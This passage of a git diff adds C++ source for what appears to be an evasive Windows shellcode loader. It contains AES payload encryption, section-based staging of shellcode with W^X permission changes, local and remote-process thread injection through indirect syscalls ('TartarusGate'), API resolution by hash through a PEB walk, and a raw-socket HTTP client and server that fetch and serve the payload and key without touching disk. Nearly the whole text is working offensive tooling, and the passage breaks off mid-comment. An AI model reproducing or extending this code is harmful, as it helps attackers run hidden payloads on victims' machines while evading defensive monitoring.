bad args"); + return false; + } + + BcryptApi api{}; + if (!LoadBcrypt(api)) { + Log::Dbg("AES Decrypt: bcrypt API resolve failed"); + return false; + } + + BCRYPT_ALG_HANDLE hAlg = nullptr; + if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) { + return false; + } + + api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + BCRYPT_KEY_HANDLE hKey = nullptr; + if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0, + const_cast(km.key.data()), static_cast(km.key.size()), 0))) { + api.Close(hAlg, 0); + return false; + } + + std::vector ivWork = km.iv; + + ULONG plainLen = 0; + api.Decrypt(hKey, const_cast(ciphertext.data()), static_cast(ciphertext.size()), + nullptr, ivWork.data(), static_cast(ivWork.size()), + nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING); + + plaintext.resize(plainLen); + ULONG written = 0; + NTSTATUS st = api.Decrypt( + hKey, + const_cast(ciphertext.data()), static_cast(ciphertext.size()), + nullptr, + ivWork.data(), static_cast(ivWork.size()), + plaintext.data(), static_cast(plaintext.size()), + &written, BCRYPT_BLOCK_PADDING); + + api.DestroyKey(hKey); + api.Close(hAlg, 0); + + if (!NT_SUCCESS(st)) { + Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX", + static_cast(st)); + return false; + } + plaintext.resize(written); + Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size()); + return true; +} + +std::vector PackKeyMaterial(const KeyMaterial& km) { + std::vector blob; + auto appendU32 = [&](DWORD v) { + blob.push_back(static_cast(v & 0xFF)); + blob.push_back(static_cast((v >> 8) & 0xFF)); + blob.push_back(static_cast((v >> 16) & 0xFF)); + blob.push_back(static_cast((v >> 24) & 0xFF)); + }; + appendU32(static_cast(km.key.size())); + blob.insert(blob.end(), km.key.begin(), km.key.end()); + appendU32(static_cast(km.iv.size())); + blob.insert(blob.end(), km.iv.begin(), km.iv.end()); + return blob; +} + +bool UnpackKeyMaterial(const std::vector& blob, KeyMaterial& out) { + if (blob.size() < 8) { + return false; + } + size_t off = 0; + auto readU32 = [&]() -> DWORD { + DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24); + off += 4; + return v; + }; + + const DWORD keyLen = readU32(); + if (off + keyLen > blob.size()) { + return false; + } + out.key.assign(blob.begin() + off, blob.begin() + off + keyLen); + off += keyLen; + + if (off + 4 > blob.size()) { + return false; + } + const DWORD ivLen = readU32(); + if (off + ivLen > blob.size()) { + return false; + } + out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen); + return out.key.size() == 32 && out.iv.size() == 16; +} + +bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) { + std::ifstream in(inputPath, std::ios::binary | std::ios::ate); + if (!in.is_open()) { + return false; + } + + const auto size = in.tellg(); + in.seekg(0); + std::vector plain(static_cast(size)); + if (!in.read(reinterpret_cast(plain.data()), size)) { + return false; + } + in.close(); + + KeyMaterial km{}; + if (!GenerateKeyMaterial(km)) { + return false; + } + + std::vector cipher; + if (!Encrypt(plain, km, cipher)) { + return false; + } + + outEncPath = inputPath + L".enc"; + outKeyPath = inputPath + L".key"; + + std::ofstream enc(outEncPath, std::ios::binary); + std::ofstream key(outKeyPath, std::ios::binary); + if (!enc.is_open() || !key.is_open()) { + return false; + } + + enc.write(reinterpret_cast(cipher.data()), cipher.size()); + auto packed = PackKeyMaterial(km); + key.write(reinterpret_cast(packed.data()), packed.size()); + return true; +} + +bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath, + std::vector& plaintext) { + std::ifstream enc(encPath, std::ios::binary | std::ios::ate); + std::ifstream key(keyPath, std::ios::binary | std::ios::ate); + if (!enc.is_open() || !key.is_open()) { + return false; + } + + std::vector cipher(static_cast(enc.tellg())); + std::vector packed(static_cast(key.tellg())); + enc.seekg(0); + key.seekg(0); + enc.read(reinterpret_cast(cipher.data()), cipher.size()); + key.read(reinterpret_cast(packed.data()), packed.size()); + + KeyMaterial km{}; + if (!UnpackKeyMaterial(packed, km)) { + return false; + } + return Decrypt(cipher, km, plaintext); +} + +} // namespace AesCrypto \ No newline at end of file diff --git a/lib/crypto/aes_crypto.hpp b/lib/crypto/aes_crypto.hpp new file mode 100644 index 0000000..ebb46a2 --- /dev/null +++ b/lib/crypto/aes_crypto.hpp @@ -0,0 +1,33 @@ +#pragma once + +#include +#include +#include +#include + +namespace AesCrypto { + +struct KeyMaterial { + std::vector key; // 32 bytes (AES-256) + std::vector iv; // 16 bytes (CBC block) +}; + +// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically). +bool GenerateKeyMaterial(KeyMaterial& out); + +// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved). +bool Encrypt(const std::vector& plaintext, const KeyMaterial& km, std::vector& ciphertext); +bool Decrypt(const std::vector& ciphertext, const KeyMaterial& km, std::vector& plaintext); + +// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv] +std::vector PackKeyMaterial(const KeyMaterial& km); +bool UnpackKeyMaterial(const std::vector& blob, KeyMaterial& out); + +// Encrypt file to .enc + sidecar key blob (for --enc AES mode). +bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath); + +// Read encrypted payload + key from disk. +bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath, + std::vector& plaintext); + +} // namespace AesCrypto \ No newline at end of file diff --git a/lib/memory/section_map.cpp b/lib/memory/section_map.cpp new file mode 100644 index 0000000..ccdfcd3 --- /dev/null +++ b/lib/memory/section_map.cpp @@ -0,0 +1,237 @@ +#include "section_map.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/log.hpp" + +#include "../common/log.hpp" + +#include +#include + +namespace SectionMap { + +SIZE_T PageAlign(SIZE_T size) { + const SIZE_T page = 4096; + return (size + page - 1) & ~(page - 1); +} + +bool StageLocal( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + MappedRegion& out) +{ + Log::Banner("Section Map StageLocal"); + if (!sc.initialized || shellcode.empty()) { + Log::Dbg("StageLocal abort: initialized=%d empty=%d", + sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0); + return false; + } + + out = {}; + + LARGE_INTEGER maxSize{}; + maxSize.QuadPart = static_cast(PageAlign(shellcode.size())); + Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT", + maxSize.QuadPart); + + HANDLE hSection = nullptr; + NTSTATUS st = sc.NtCreateSection( + &hSection, + SECTION_ALL_ACCESS, + nullptr, + &maxSize, + PAGE_READWRITE, + SEC_COMMIT, + nullptr); + Log::NtStatus("NtCreateSection", st); + + if (!NT_SUCCESS(st) || !hSection) { + return false; + } + Log::Sys("section handle=%p", hSection); + + PVOID localView = nullptr; + SIZE_T viewSize = 0; + Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE", + static_cast(PageAlign(shellcode.size()))); + st = sc.NtMapViewOfSection( + hSection, + GetCurrentProcess(), + &localView, + 0, + PageAlign(shellcode.size()), + nullptr, + &viewSize, + ViewShare, + 0, + PAGE_READWRITE); + Log::NtStatus("NtMapViewOfSection", st); + + if (!NT_SUCCESS(st) || !localView) { + sc.NtClose(hSection); + return false; + } + Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast(viewSize)); + + std::memcpy(localView, shellcode.data(), shellcode.size()); + Log::Dbg("copied %zu shellcode bytes into view", shellcode.size()); + + // W^X: transition mapped view to RX. + ULONG oldProt = 0; + PVOID protBase = localView; + SIZE_T protSize = viewSize; + Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView); + st = sc.NtProtectVirtualMemory( + GetCurrentProcess(), + &protBase, + &protSize, + PAGE_EXECUTE_READ, + &oldProt); + Log::NtStatus("NtProtectVirtualMemory", st); + + if (!NT_SUCCESS(st)) { + sc.NtUnmapViewOfSection(GetCurrentProcess(), localView); + sc.NtClose(hSection); + return false; + } + Log::Dbg("oldProt=0x%08lX", static_cast(oldProt)); + + out.section = hSection; + out.localView = localView; + out.viewSize = viewSize; + return true; +} + +bool MapRemote( + TartarusGate::SyscallTable& sc, + HANDLE targetProcess, + MappedRegion& region) +{ + if (!sc.initialized || !region.section || region.mappedRemote) { + return false; + } + + PVOID remoteView = nullptr; + SIZE_T viewSize = region.viewSize; + NTSTATUS st = sc.NtMapViewOfSection( + region.section, + targetProcess, + &remoteView, + 0, + 0, + nullptr, + &viewSize, + 1, + 0, + PAGE_EXECUTE_READ); + + if (!NT_SUCCESS(st) || !remoteView) { + return false; + } + + region.remoteView = remoteView; + region.mappedRemote = true; + region.viewSize = viewSize; + return true; +} + +bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) { + Log::Banner("ExecuteLocal (CreateThread)"); + if (!sc.initialized || !entry) { + Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p", + sc.initialized ? 1 : 0, entry); + return false; + } + + // Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode. + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return false; + } + + using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); + using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pCreateThread = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateThread)); + auto* pWait = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pCreateThread || !pWait || !pClose) { + Log::Err("CreateThread hash resolve failed"); + return false; + } + + Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p", + entry, Hashes::H_CreateThread, pCreateThread); + + DWORD tid = 0; + HANDLE hThread = pCreateThread(nullptr, 0, + reinterpret_cast(entry), nullptr, 0, &tid); + if (!hThread) { + Log::Err("CreateThread failed (%lu)", GetLastError()); + return false; + } + + Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread); + const DWORD waitRc = pWait(hThread, INFINITE); + Log::Dbg("WaitForSingleObject rc=%lu", waitRc); + pClose(hThread); + Log::Dbg("thread exited, handle closed"); + return true; +} + +bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) { + if (!sc.initialized || !targetProcess || !entry) { + return false; + } + + HANDLE hThread = nullptr; + NTSTATUS st = sc.NtCreateThreadEx( + &hThread, + THREAD_ALL_ACCESS, + nullptr, + targetProcess, + entry, + nullptr, + 0, + 0, + 0, + 0, + nullptr); + + if (!NT_SUCCESS(st) || !hThread) { + return false; + } + + sc.NtClose(hThread); + return true; +} + +void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) { + if (!sc.initialized) { + return; + } + + if (region.localView) { + sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView); + region.localView = nullptr; + } + + if (region.mappedRemote && region.remoteView && targetProcess) { + sc.NtUnmapViewOfSection(targetProcess, region.remoteView); + region.remoteView = nullptr; + region.mappedRemote = false; + } + + if (region.section) { + sc.NtClose(region.section); + region.section = nullptr; + } +} + +} // namespace SectionMap \ No newline at end of file diff --git a/lib/memory/section_map.hpp b/lib/memory/section_map.hpp new file mode 100644 index 0000000..e4d22b9 --- /dev/null +++ b/lib/memory/section_map.hpp @@ -0,0 +1,44 @@ +#pragma once + +#include +#include +#include + +#include "../syscall/tartarus_gate.hpp" + +namespace SectionMap { + +struct MappedRegion { + HANDLE section = nullptr; + PVOID localView = nullptr; + PVOID remoteView = nullptr; + SIZE_T viewSize = 0; + bool mappedRemote = false; +}; + +// Stage shellcode via anonymous section + NtMapViewOfSection (W^X). +// Replaces naive NtAllocateVirtualMemory for local ingestion. +bool StageLocal( + TartarusGate::SyscallTable& sc, + const std::vector& shellcode, + MappedRegion& out); + +// Map staged section into remote process (shared section object). +bool MapRemote( + TartarusGate::SyscallTable& sc, + HANDLE targetProcess, + MappedRegion& region); + +// Execute shellcode locally via NtCreateThreadEx (indirect syscall). +bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry); + +// Execute in remote process via NtCreateThreadEx. +bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry); + +// Release views and section handle. +void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess); + +// Align size to page boundary. +SIZE_T PageAlign(SIZE_T size); + +} // namespace SectionMap \ No newline at end of file diff --git a/lib/net/http_transport.cpp b/lib/net/http_transport.cpp new file mode 100644 index 0000000..44dd6a3 --- /dev/null +++ b/lib/net/http_transport.cpp @@ -0,0 +1,361 @@ +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#include +#include +#include + +#include "http_transport.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" +#include "../common/log.hpp" + +#include +#include +#include + +namespace HttpTransport { + +namespace { + +struct WinsockApi { + decltype(&WSAStartup) WSAStartupFn = nullptr; + decltype(&WSACleanup) WSACleanupFn = nullptr; + decltype(&socket) socketFn = nullptr; + decltype(&connect) connectFn = nullptr; + decltype(&send) sendFn = nullptr; + decltype(&recv) recvFn = nullptr; + decltype(&closesocket) closesocketFn = nullptr; + decltype(&bind) bindFn = nullptr; + decltype(&listen) listenFn = nullptr; + decltype(&accept) acceptFn = nullptr; + decltype(&getaddrinfo) getaddrinfoFn = nullptr; + decltype(&freeaddrinfo) freeaddrinfoFn = nullptr; + decltype(&setsockopt) setsockoptFn = nullptr; + bool loaded = false; + bool started = false; +}; + +bool LoadWinsock(WinsockApi& ws) { + if (ws.loaded) { + return true; + } + + ws.WSAStartupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSAStartup)); + ws.WSACleanupFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_WSACleanup)); + ws.socketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_socket)); + ws.connectFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_connect)); + ws.sendFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_send)); + ws.recvFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_recv)); + ws.closesocketFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_closesocket)); + ws.bindFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_bind)); + ws.listenFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_listen)); + ws.acceptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_accept)); + ws.getaddrinfoFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo)); + ws.freeaddrinfoFn= reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo)); + ws.setsockoptFn = reinterpret_cast(ApiResolver::ResolveWs2(Hashes::H_setsockopt)); + + ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn; + return ws.loaded; +} + +bool EnsureWinsock(WinsockApi& ws) { + if (!LoadWinsock(ws)) { + return false; + } + if (!ws.started) { + WSADATA wsa{}; + if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) { + return false; + } + ws.started = true; + } + return true; +} + +bool HttpGet(const Endpoint& ep, const char* path, std::vector& body) { + Log::Banner("HTTP GET (fileless client)"); + Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path); + + WinsockApi ws{}; + if (!EnsureWinsock(ws)) { + Log::Dbg("winsock load/WSAStartup failed"); + return false; + } + Log::Dbg("winsock ready"); + + addrinfo hints{}; + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + addrinfo* result = nullptr; + const auto portStr = std::to_string(ep.port); + if (ws.getaddrinfoFn(ep.host.c_str(), portStr.c_str(), &hints, &result) != 0) { + Log::Dbg("getaddrinfo failed host=%s port=%s", ep.host.c_str(), portStr.c_str()); + return false; + } + Log::Dbg("getaddrinfo OK — connecting..."); + + SOCKET sock = INVALID_SOCKET; + for (auto* ptr = result; ptr; ptr = ptr->ai_next) { + sock = ws.socketFn(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); + if (sock == INVALID_SOCKET) { + continue; + } + if (ws.connectFn(sock, ptr->ai_addr, static_cast(ptr->ai_addrlen)) == 0) { + Log::Sys("connected socket=%llu family=%d", + static_cast(sock), ptr->ai_family); + break; + } + ws.closesocketFn(sock); + sock = INVALID_SOCKET; + } + ws.freeaddrinfoFn(result); + + if (sock == INVALID_SOCKET) { + Log::Dbg("connect failed to %s:%u", ep.host.c_str(), ep.port); + return false; + } + + std::ostringstream req; + req << "GET " << path << " HTTP/1.1\r\n" + << "Host: " << ep.host << "\r\n" + << "Connection: close\r\n\r\n"; + + const std::string reqStr = req.str(); + Log::Dbg("send request (%zu bytes)", reqStr.size()); + if (ws.sendFn(sock, reqStr.c_str(), static_cast(reqStr.size()), 0) <= 0) { + Log::Dbg("send failed"); + ws.closesocketFn(sock); + return false; + } + + std::vector response; + char buf[4096]; + for (;;) { + const int n = ws.recvFn(sock, buf, sizeof(buf), 0); + if (n <= 0) { + break; + } + response.insert(response.end(), buf, buf + n); + } + ws.closesocketFn(sock); + Log::Dbg("recv total response=%zu bytes", response.size()); + + // Find end of HTTP headers + const char* data = reinterpret_cast(response.data()); + const char* hdrEnd = strstr(data, "\r\n\r\n"); + if (!hdrEnd) { + Log::Dbg("no HTTP header terminator"); + return false; + } + const size_t bodyOff = (hdrEnd - data) + 4; + + size_t contentLen = 0; + const char* cl = strstr(data, "Content-Length:"); + if (cl && cl < hdrEnd) { + contentLen = static_cast(std::strtoul(cl + 15, nullptr, 10)); + } + Log::Dbg("headers end @%zu Content-Length=%zu", bodyOff, contentLen); + + if (contentLen > 0 && bodyOff + contentLen <= response.size()) { + body.assign(response.begin() + static_cast(bodyOff), + response.begin() + static_cast(bodyOff + contentLen)); + } else if (bodyOff < response.size()) { + body.assign(response.begin() + static_cast(bodyOff), response.end()); + } else { + body.clear(); + } + Log::Info("HTTP body size=%zu for %s", body.size(), path); + return true; +} + +std::string BuildHttpResponse(const std::vector& body, const char* contentType) { + std::ostringstream oss; + oss << "HTTP/1.1 200 OK\r\n" + << "Content-Type: " << contentType << "\r\n" + << "Content-Length: " << body.size() << "\r\n" + << "Connection: close\r\n\r\n"; + std::string hdr = oss.str(); + std::string out = hdr; + out.append(reinterpret_cast(body.data()), body.size()); + return out; +} + +bool ReadFileBytes(const std::wstring& path, std::vector& out) { + std::ifstream f(path, std::ios::binary | std::ios::ate); + if (!f.is_open()) { + return false; + } + out.resize(static_cast(f.tellg())); + f.seekg(0); + f.read(reinterpret_cast(out.data()), out.size()); + return true; +} + +void HandleClient(WinsockApi& ws, SOCKET client, + const std::vector& payload, const std::vector& keyBlob, + bool /*verbose*/) { + char buf[2048] = {}; + const int nrecv = ws.recvFn(client, buf, sizeof(buf) - 1, 0); + + // First request line only for clean logs + char reqLine[128] = {}; + { + size_t i = 0; + while (i + 1 < sizeof(reqLine) && buf[i] && buf[i] != '\r' && buf[i] != '\n') { + reqLine[i] = buf[i]; + ++i; + } + } + Log::Srv("accept client sock=%llu recv=%d req=\"%s\"", + static_cast(client), nrecv, reqLine); + + std::vector response; + const char* route = "404"; + size_t bodyBytes = 0; + if (strstr(buf, "GET /api/v1/payload")) { + route = "/api/v1/payload"; + bodyBytes = payload.size(); + auto http = BuildHttpResponse(payload, "application/octet-stream"); + response.assign(http.begin(), http.end()); + } else if (strstr(buf, "GET /api/v1/key")) { + route = "/api/v1/key"; + bodyBytes = keyBlob.size(); + auto http = BuildHttpResponse(keyBlob, "application/octet-stream"); + response.assign(http.begin(), http.end()); + } else if (strstr(buf, "GET /api/v1/health")) { + route = "/api/v1/health"; + bodyBytes = 2; + const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"; + response.assign(ok, ok + strlen(ok)); + } else { + const char* nf = "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n"; + response.assign(nf, nf + strlen(nf)); + } + + const int nsent = ws.sendFn(client, reinterpret_cast(response.data()), + static_cast(response.size()), 0); + Log::Srv("reply route=%s body=%zu wire=%zu sent=%d", + route, bodyBytes, response.size(), nsent); + ws.closesocketFn(client); +} + +} // namespace + +bool ParseSource(const std::string& source, Endpoint& out) { + out = {}; + out.port = 8080; + + const auto colon = source.find(':'); + if (colon == std::string::npos) { + out.host = source; + return !out.host.empty(); + } + + out.host = source.substr(0, colon); + try { + out.port = static_cast(std::stoi(source.substr(colon + 1))); + } catch (...) { + return false; + } + return !out.host.empty(); +} + +bool FetchPayload(const Endpoint& ep, std::vector& body) { + return HttpGet(ep, "/api/v1/payload", body); +} + +bool FetchKey(const Endpoint& ep, std::vector& body) { + return HttpGet(ep, "/api/v1/key", body); +} + +bool RunServerMemory(std::uint16_t port, const std::vector& payload, + const std::vector& keyBlob, bool verbose) { + // Prefer explicit flag; also honor Log server channel if already enabled. + if (verbose) { + Log::SetServerVerbose(true); + } + + Log::SrvBanner("HTTP Bind"); + Log::Srv("WSAStartup + resolve passive 0.0.0.0:%u", port); + + WinsockApi ws{}; + if (!EnsureWinsock(ws)) { + Log::Srv("winsock load failed"); + return false; + } + Log::Srv("winsock APIs resolved (hash) + started"); + + addrinfo hints{}; + hints.ai_family = AF_INET; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + hints.ai_flags = AI_PASSIVE; + + addrinfo* result = nullptr; + const auto portStr = std::to_string(port); + if (ws.getaddrinfoFn(nullptr, portStr.c_str(), &hints, &result) != 0) { + Log::Srv("getaddrinfo failed for port %s", portStr.c_str()); + return false; + } + + SOCKET listenSock = ws.socketFn(result->ai_family, result->ai_socktype, result->ai_protocol); + if (listenSock == INVALID_SOCKET) { + Log::Srv("socket() failed"); + ws.freeaddrinfoFn(result); + return false; + } + Log::Srv("listen socket=%llu", static_cast(listenSock)); + + int yes = 1; + ws.setsockoptFn(listenSock, SOL_SOCKET, SO_REUSEADDR, reinterpret_cast(&yes), sizeof(yes)); + Log::Srv("SO_REUSEADDR=1"); + + if (ws.bindFn(listenSock, result->ai_addr, static_cast(result->ai_addrlen)) != 0) { + Log::Srv("bind failed on port %u", port); + ws.closesocketFn(listenSock); + ws.freeaddrinfoFn(result); + return false; + } + ws.freeaddrinfoFn(result); + Log::Srv("bind OK 0.0.0.0:%u", port); + + if (ws.listenFn(listenSock, SOMAXCONN) != 0) { + Log::Srv("listen failed"); + ws.closesocketFn(listenSock); + return false; + } + Log::Srv("listen OK backlog=SOMAXCONN"); + + // Always show ready line; details only with --verbose + Log::Ok("Fileless server listening on port %u (payload=%zu key=%zu)", + port, payload.size(), keyBlob.size()); + Log::Srv("endpoints: GET /api/v1/payload | /api/v1/key | /api/v1/health"); + Log::Srv("waiting for clients..."); + + for (;;) { + SOCKET client = ws.acceptFn(listenSock, nullptr, nullptr); + if (client == INVALID_SOCKET) { + Log::Srv("accept returned INVALID_SOCKET — retry"); + continue; + } + HandleClient(ws, client, payload, keyBlob, verbose); + } +} + +bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath) { + std::vector payload; + std::vector keyBlob; + + if (!ReadFileBytes(payloadPath, payload)) { + return false; + } + + // Key is optional for non-encrypted payloads + ReadFileBytes(keyPath, keyBlob); + return RunServerMemory(port, payload, keyBlob, false); +} + +} // namespace HttpTransport \ No newline at end of file diff --git a/lib/net/http_transport.hpp b/lib/net/http_transport.hpp new file mode 100644 index 0000000..6d92bc1 --- /dev/null +++ b/lib/net/http_transport.hpp @@ -0,0 +1,31 @@ +#pragma once + +#include +#include +#include + +namespace HttpTransport { + +struct Endpoint { + std::string host; + std::uint16_t port = 8080; + bool useTls = false; // plain HTTP for lab +}; + +// Parse host[:port] from --source argument. +bool ParseSource(const std::string& source, Endpoint& out); + +// GET /api/v1/payload — returns raw shellcode bytes (plain or AES ciphertext). +bool FetchPayload(const Endpoint& ep, std::vector& body); + +// GET /api/v1/key — returns packed key material blob. +bool FetchKey(const Endpoint& ep, std::vector& body); + +// Run minimal HTTP server (Windows) — serves payload + key without exposing filenames. +bool RunServer(std::uint16_t port, const std::wstring& payloadPath, const std::wstring& keyPath); + +// Run server with in-memory blobs (after --enc AES). +bool RunServerMemory(std::uint16_t port, const std::vector& payload, + const std::vector& keyBlob, bool verbose = false); + +} // namespace HttpTransport \ No newline at end of file diff --git a/lib/pe/pe_parser.cpp b/lib/pe/pe_parser.cpp new file mode 100644 index 0000000..125b538 --- /dev/null +++ b/lib/pe/pe_parser.cpp @@ -0,0 +1,125 @@ +#include "pe_parser.hpp" +#include "../common/hashes.hpp" + +#include + +namespace PeParser { + +Peb* GetPeb() { +#ifdef _WIN64 + return reinterpret_cast(__readgsqword(0x60)); +#else + return reinterpret_cast(__readfsdword(0x30)); +#endif +} + +bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap) { + if (!name.Buffer || name.Length == 0 || outCap == 0) { + return false; + } + const int wcharCount = name.Length / sizeof(WCHAR); + int written = WideCharToMultiByte( + CP_ACP, 0, name.Buffer, wcharCount, + out, static_cast(outCap - 1), nullptr, nullptr); + if (written <= 0) { + return false; + } + out[written] = '\0'; + CharLowerA(out); + return true; +} + +HMODULE GetModuleByHash(std::uint32_t moduleHash) { + auto* peb = GetPeb(); + if (!peb || !peb->Ldr) { + return nullptr; + } + + auto* head = &peb->Ldr->InMemoryOrderModuleList; + for (auto* link = head->Flink; link != head; link = link->Flink) { + auto* entry = reinterpret_cast( + reinterpret_cast(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks)); + + if (!entry->BaseDllName.Buffer) { + continue; + } + + char narrow[MAX_PATH] = {}; + if (!WideToLowerAscii(entry->BaseDllName, narrow, sizeof(narrow))) { + continue; + } + + // Match precomputed hash (api_hash constants) or runtime djb2 lowercase. + if (Hashes::Djb2(narrow) == moduleHash || Hashes::Djb2Lower(narrow) == moduleHash) { + return reinterpret_cast(entry->DllBase); + } + } + return nullptr; +} + +HMODULE GetModuleByIndex(unsigned index) { + auto* peb = GetPeb(); + if (!peb || !peb->Ldr) { + return nullptr; + } + + auto* head = &peb->Ldr->InMemoryOrderModuleList; + unsigned i = 0; + for (auto* link = head->Flink; link != head; link = link->Flink, ++i) { + if (i == index) { + auto* entry = reinterpret_cast( + reinterpret_cast(link) - offsetof(LdrDataTableEntry, InMemoryOrderLinks)); + return reinterpret_cast(entry->DllBase); + } + } + return nullptr; +} + +PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module) { + if (!module) { + return nullptr; + } + auto* base = reinterpret_cast(module); + auto* dos = reinterpret_cast(base); + if (dos->e_magic != IMAGE_DOS_SIGNATURE) { + return nullptr; + } + auto* nt = reinterpret_cast(base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) { + return nullptr; + } + return nt; +} + +FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash) { + if (!module) { + return nullptr; + } + + auto* base = reinterpret_cast(module); + auto* nt = GetNtHeaders(module); + if (!nt) { + return nullptr; + } + + const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (dir.VirtualAddress == 0 || dir.Size == 0) { + return nullptr; + } + + auto* exp = reinterpret_cast(base + dir.VirtualAddress); + auto* names = reinterpret_cast(base + exp->AddressOfNames); + auto* ords = reinterpret_cast(base + exp->AddressOfNameOrdinals); + auto* funcs = reinterpret_cast(base + exp->AddressOfFunctions); + + for (DWORD i = 0; i < exp->NumberOfNames; ++i) { + const char* exportName = reinterpret_cast(base + names[i]); + if (Hashes::Djb2(exportName) != exportHash) { + continue; + } + return reinterpret_cast(base + funcs[ords[i]]); + } + return nullptr; +} + +} // namespace PeParser \ No newline at end of file diff --git a/lib/pe/pe_parser.hpp b/lib/pe/pe_parser.hpp new file mode 100644 index 0000000..59fba94 --- /dev/null +++ b/lib/pe/pe_parser.hpp @@ -0,0 +1,59 @@ +#pragma once + +#include +#include + +namespace PeParser { + +// Minimal PEB/LDR structures (winternl.h is incomplete for InMemoryOrder walk). +struct PeUnicodeString { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +}; + +struct LdrDataTableEntry { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID Reserved3[2]; + PeUnicodeString BaseDllName; +}; + +struct PebLdrData { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +}; + +struct Peb { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PebLdrData* Ldr; +}; + +// Returns process environment block pointer (x64: GS:[0x60]). +Peb* GetPeb(); + +// Walk PEB->Ldr->InMemoryOrderModuleList; match module by djb2 lowercase hash. +HMODULE GetModuleByHash(std::uint32_t moduleHash); + +// InMemoryOrder index: 